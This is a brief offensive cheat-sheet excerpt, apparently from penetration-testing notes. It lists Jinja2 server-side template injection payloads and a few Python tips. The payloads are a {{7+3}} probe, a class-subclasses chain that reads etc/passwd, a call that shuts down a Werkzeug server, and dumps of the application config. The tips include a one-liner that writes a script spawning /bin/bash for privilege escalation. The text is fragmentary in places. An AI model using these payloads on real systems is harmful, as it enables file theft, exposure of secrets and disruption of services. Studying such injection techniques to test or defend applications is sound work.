-
Check with {{ 7+3 }} if this is executed, if a Python interpreter is using the template jinja engine. {{ 7+3 }}{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}{{ request.environ[‘werkzeug.server.shutdown’]() }} // ...{{ config.items() }} // Read all config variables{{ config|pprint }} Example:
-
Convert a Python2 script into a Python3 script: 2to3 -w example.py Fix tab/space/identation problems: autopep8 -i linuxprivchecker.py If a library is installed, but cannot found from smb.SMBConnection import SMBConnection then try to search the file locally and include the path manually: import syssys.path.append("path/to/your/file") Oneliner for executing bash in a file: echo 'import os;os.system("/bin/bash")' > /tmp/e.py Execute something:…